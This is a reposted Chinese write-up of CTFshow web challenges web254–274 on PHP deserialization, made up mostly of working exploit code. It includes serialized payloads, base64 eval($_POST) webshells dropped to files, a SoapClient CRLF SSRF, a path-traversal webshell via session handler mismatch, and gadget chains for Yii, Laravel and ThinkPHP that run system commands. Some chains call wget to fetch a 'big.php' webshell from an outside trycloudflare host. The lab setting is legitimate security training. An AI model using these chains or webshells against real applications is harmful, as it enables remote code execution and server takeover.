ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CTFSHOW WEB入门 反序列化篇

2021-10-16 01:01:04  阅读:278  来源: 互联网

标签:username WEB 序列化 22% 3A% CTFSHOW password public php


web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

要求 username 和 password 都为 xxxxxx,根据提示构造 payload。
payload: ?username=xxxxxx&password=xxxxxx

web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

要求 cookie 中 user 值为一个序列化的 ctfshowUser 对象,属性 isVip 值为 true,username 和 password 和 GET 参数获取的一致。

$user = new ctfShowUser();
$user->isVip = true;
var_dump(serialize($user));
//string(95) "O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}"

url: /?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

相比上题新增了 username !== password 的要求,按要求构造即可。

$user = new ctfShowUser();
$user->isVip = true;
$user->username = "china";
$user->password = "123456";
var_dump(serialize($user));
//string(94) "O:11:"ctfShowUser":3:{s:8:"username";s:5:"china";s:8:"password";s:6:"123456";s:5:"isVip";b:1;}"

url: /?password=123456&username=china
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22china%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

backDoor 代替 info,然后正常构造即可。

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=true;
    private $class = 'info';

    public function __construct(){
        $this->class= new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pID8+'));";
    public function getInfo(){
        eval($this->code);
    }
}

$u = new ctfShowUser();
var_dump(urlencode(serialize($u)));

url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pID8%2B%27%29%29%3B%22%3B%7D%7D

web258

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

增加了正则过滤,这里可以利用 unserialize 函数的一个特性绕过。

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=='));";
    public function getInfo(){
        eval($this->code);
    }
}

$u = new ctfShowUser();
// 在数字前面加上 `+` 即可,这里正则替换一下。
var_dump(urlencode(preg_replace("/([oc]):(\d+:)/i", "$1:+$2", serialize($u))));

url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOw%3D%3D%27%29%29%3B%22%3B%7D%7D
蚁剑连接 sh.php 查看 flag。

web259

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

考点是利用 SoapClient 类反序列化 + CRLF 实现 SSRF,构造请求访问 flag.php 得到 flag。
反序列化后的 SoapClient 对象在调用不存在的方法时会调用 __call,在 user_agent 中插入 CRLF 也就是 \r\n 控制 headerbody 构造想要的请求。

<?php

$target = "http://127.0.0.1/flag.php";
$post = "token=ctfshow";
$a = new SoapClient(null, array(
    "location" => $target,
    "user_agent" => "aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".(string)strlen($post)."\r\n\r\n".$post,
    "uri" => "aaaa"
));

var_dump(urlencode(serialize($a)));

访问 flag.txt 得到 flag。

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

需要传入的字符串序列化后满足正则 /ctfshow_i_love_36D/,直接传这个就行。
payload: ?ctfshow=ctfshow_i_love_36D

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

PHP 文档中提到

注意:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
注意:
此特性自 PHP 7.4.0 起可用。

查看 response header 可知 X-Powered-By: PHP/7.4.16,那么 __wakeup 部分就不会被执行,与注释无异。
__destruct 函数部分弱比较 $this->code==0x36d,因为 $this->code = $this->username.$this->password;username 可控制,因为 (int)'877.php' == 0x36d,故传 877.php 即可绕过。

<?php

class ctfshowvip{
    public $username = "877.php";
    public $password = "<?php @eval(\$_POST[2]);";
}

$a = new ctfshowvip();

var_dump(urlencode(serialize($a)));

payload: ?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+%40eval%28%24_POST%5B2%5D%29%3B%22%3B%7D

web262

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

提示还有 message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

看似是反序列化字符串逃逸,实际上自己构造改 cookie 就可以。

<?php

class message{
    public $token='admin';
}

$a = new message();
var_dump(base64_encode(serialize($a)));

cookie: msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

web263

打开一个登录框,登录失败没啥信息,扫描器扫到备份 www.zip,下载得到源码。
index.php 中:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

可知我们可以通过修改 $COOKIE['limit'] 来控制 session 的内容。
inc.php 中:

<?php

...

ini_set('session.serialize_handler', 'php');
session_start();
...

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

...

使用 ini_set 指定了 serialize_handlerphp,如果默认的 serialize_handlerphp_serialize,就可以通过在序列化的字符串之前加 |,反序列化任意对象。

  • php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值

注意:在 php 5.5.4 以前默认选择的是 php5.5.4 之后就是 php_serialize,这里的 php 版本为 7.3.11,那么默认就是 php_serialize

那么思路就很清晰了,首先在 $COOKIE['limit'] 中构造 |+序列化对象 的字符串,访问首页写入 session,再通过 check.php 加载的 inc.php 中的 ini_set('session.serialize_handler', 'php');sessionsession.serialize_handler=php 的格式反序列化,执行 User 类的 __destruct 方法写 shell
首先构造 payload

<?php


class User{
    public $username = "test/../../../../../../../../../../var/www/html/c.php";
    public $password = "<?php @eval(\$_POST[1]); ?>";
    public $status;
}

$a = new User();
$target = '|'.serialize($a);
var_dump($target);
var_dump(urlencode(base64_encode($target)));

payload: fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1MzoidGVzdC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2h0bWwvYy5waHAiO3M6ODoicGFzc3dvcmQiO3M6MjY6Ijw%2FcGhwIEBldmFsKCRfUE9TVFsxXSk7ID8%2BIjtzOjY6InN0YXR1cyI7Tjt9
更改 cookie 后访问 index.phpsession 的内容是这样的:

a:1:{s:5:"limit";s:156:"|O:4:"User":3:{s:8:"username";s:53:"test/../../../../../../../../../../var/www/html/b.php";s:8:"password";s:26:"<?php @eval($_POST[1]); ?>";s:6:"status";N;}

这是 session.serialize_handler=php_serialize 存储的结果,如果通过 session.serialize_handler=php 读取 session,就会把前面的 a:1:{s:5:"limit";s:156:" 当作 key| 后面的部分作为序列化对象反序列化,就可以反序列化 User 类了。

web264

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

注释中提示还有 message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这次相比 web262 有了 session 的限制,就不能自己构造了,用起来反序列化字符串逃逸。fuck -> loveU 增加了一个字符,要逃逸出来的字符串 ";s:5:"token";s:5:"admin";} 长度为 27,故构造 27 个 fuck

print("fuck"*27+"""";s:5:"token";s:5:"admin";}""")

payload: ?f=aaaa&m=aaaa&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

如果要靠输入的 $password 去和 md5(mt_rand()) 碰撞,几乎是不可能的。这里需要用到 php引用,使得 $password = &$token;,那么 $password === $token 就没问题了。

<?php

class ctfshowAdmin{
    public $token;
    public $password;
}

$c = new ctfshowAdmin();
$c->password = &$c->token;
var_dump(urlencode(serialize($c)));

payload: ?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

web266

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

这里涉及到一个 php 常识:PHP大小写:函数名和类名不区分,变量名区分

<?php

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}

$c = new ctfshow();
$a = str_replace("ctfshow", "ctfsHow", serialize($c));
var_dump($a);

php://input 要用 bp。
payload: O:7:"ctfsHow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

web267

一开始没思路,搜了一下知道是 Yii 框架的反序列化漏洞。
首先 admin/admin 弱密码登录,然后在 /index.php?r=site/about 可以看到注释里面有一个 ?view-source,加上之后访问 /index.php?r=site%2Fabout&view-source 看到一个反序列化的点 backdoor/shell unserialize(base64_decode($_GET['code'])),随便搜一个反序列化的 pop 链打一下。

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'cp /flag 3.txt';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

这里 system 不能用,用了 shell_exec
payload: /index.php?r=backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTQ6ImNwIC9mbGFnIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
访问 3.txt 得到 flag

web268

前面的流程和上一题差不多,不过这次不给用 BatchQueryResult 了,改用 RunProcess 类作为 pop 链入口。

<?php
 
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'wget https://hoping-billy-vip-pair.trycloudflare.com/big.php'; //传个大马
        }
    }
}
 
namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters ;
        public function __construct(){
            $this->formatters['isRunning']=[new IndexAction(),'run'];
        }
 
    }
}
 
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes=[];
        public function __construct(){
 
            $this->processes[]=new Generator();
        }
 
    }
}
 
namespace{
 
    use Codeception\Extension\RunProcess;
 
    echo base64_encode(serialize(new RunProcess()));
}

web269

同理,换个链换个函数接着打,主要的内容还是要理解如何构造 pop 链,剩下的就是机械劳动了。

<?php
namespace {
    use phpDocumentor\Reflection\DocBlock\Tags\Covers;

    class Swift_KeyCache_DiskKeyCache{
        private $path;
        private $keys;

        public function __construct()
        {
            $this->keys = array(
                "V0W" =>array("is", "Ca1j1")
            );
            $this->path = new Covers();
        }
    }

    $payload = new Swift_KeyCache_DiskKeyCache();
    echo base64_encode(serialize($payload));
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;

    class Covers{
        private $refers;
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
            $this->refers = "AnyStringisOK";
        }
    }

}

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'exec';
            $this->id = 'wget https://hoping-billy-vip-pair.trycloudflare.com/big.php';
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['render'] = [new IndexAction, 'run'];
        }
    }
}

web270

学会构造 pop 链固然重要,但这里找到了好用的工具 PHPGGC

$ ./phpggc Yii2/RCE2 "passthru('wget https://hoping-billy-vip-pair.trycloudflare.com/big.php');" --base64

一键生成 payload,有脚本小子内味了。

web271-273

不得不说这玩意真好用

$ ./phpggc Laravel/RCE6 "system('cat /flag');" --url

payload: data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp+system%28%27cat+%2Fflag%27%29%3B+exit%3B+%3F%3E%22%3B%7D%7D%7D%7D

web274

这里 phpggc 的不能用了,找了另外一个链打的,看来有空也要构建自己的武器库。

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    class Windows{
        private $files = [];
        public function __construct()
        {
            $this->files[]=new Pivot();
        }
    }
}
 
namespace think{
    abstract class Model{
        private $data = [];
        protected $append = [];
        public function __construct()
        {
            $this->data=array(
                'autumn'=>new Request()
            );
            $this->append=array(
                'autumn'=>array(
                    'hello'=>'world'
                )
            );
 
        }
 
    }
}
 
namespace think\model{
    use think\Model;
    class Pivot extends Model{
 
    }
}
namespace think{
    class Request{
        protected $hook = [];
        protected $config = [
            // 表单请求类型伪装变量
            'var_method'       => '_method',
            // 表单ajax伪装变量
            'var_ajax'         => '',
            // 表单pjax伪装变量
            'var_pjax'         => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo'     => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter'   => '',
            // 域名根,如thinkphp.cn
            'url_domain_root'  => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix'  => 'html',
        ];
        protected $filter;
        public function __construct()
        {
            $this->hook['visible']=[$this,'isAjax'];
            $this->filter='system';
        }
 
    }
}
 
namespace {
    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
}

